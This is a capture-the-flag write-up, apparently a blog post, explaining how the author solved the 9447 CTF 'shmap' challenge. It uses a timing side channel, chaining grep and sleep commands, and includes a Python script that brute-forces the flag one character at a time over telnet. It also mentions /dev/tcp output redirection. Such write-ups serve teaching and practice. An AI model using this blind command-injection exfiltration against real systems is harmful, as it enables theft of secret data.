This weekend, I participiated in the 9447 CTF as part of the FAUST team. In this post, I'll show you how I solved the shmap challenge.
shmap
The description of shmap only told you to connect to shmap.9447.plumbing:9447. The service at that address showed a shell prompt, but the only output you got back was how long it took the command to execute, rounded to a full second. The connection remained open for another second or so after that message, but it seemed like all input beyond the first line was ignored.
Redirecting the output to a socket via bash's fake /dev/tcp/ device didn't work here (as opposed to the ramble challenge) either.
But after some experimenting, I found that the sleep command worked just fine, as did chaining of commands via &&. Combining these, I could find out whether a command succeeded or not. But where could there be a flag and how do I get the contents? Looking for the flag, I got lucky on my first guess:
>>> ls flag && sleep 1
Command took 1 seconds!
After some failed attempts to verify with test and head that the file (like all correct flags in this competition) started with 9447
, I changed tactics and did so with grep instead: grep -P '^9447{'
. Now it was just guessing each next character, like in a blind SQL injection. After guessing a few characters by hand, I wrote a little Python script for this:
#!/usr/bin/env python3
import telnetlib
import sys
import time
start = b"grep -P '^9447\{Im_si"
def is_right(c):
con = None
while con is None:
try:
con = telnetlib.Telnet('shmap.9447.plumbing', 9447, timeout=3)
except ConnectionRefusedError: # sometimes the connection wouldn't work
pass
str = start + c + b"' flag && sleep 1 \n"
sys.stdout.buffer.write(b'\r' + str[-100:].strip())
sys.stdout.buffer.flush()
con.write(str)
return not con.read_all().decode().endswith('0 seconds!\n')
rng = lambda a, z: [bytes([v]) for v in range(ord(a), ord(z))]
found = True
while found:
found = False
for val in rng('a', 'z') + [b'_'] + rng('A', 'Z') + [b'.']:
# check twice, to weed out false positives (presumably the server was somewhat overloaded)
if is_right(val) and is_right(val):
start += val
found = True
break
print(start)
After wondering a bit why I the script wasn't running faster, I also figured out why the connection was kept open for some time after the service was already done: that's some very simple rate-limiting on the server side.
After a few minutes, the script gave the correct flag: 9447{Im_sick_and_tired_of_the_mess_you_made_me_Never_gonna_catch_me_cry_Oh_whoa_whoa_You_
must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_you_die_Oh_whoa_whoa_Without_me_
youre_nothing_Oh_whoa_whoa_You_must_be_blind_if_you_cant_see_Youll_miss_me_til_the_day_
you_die_Oh_whoa_whoa}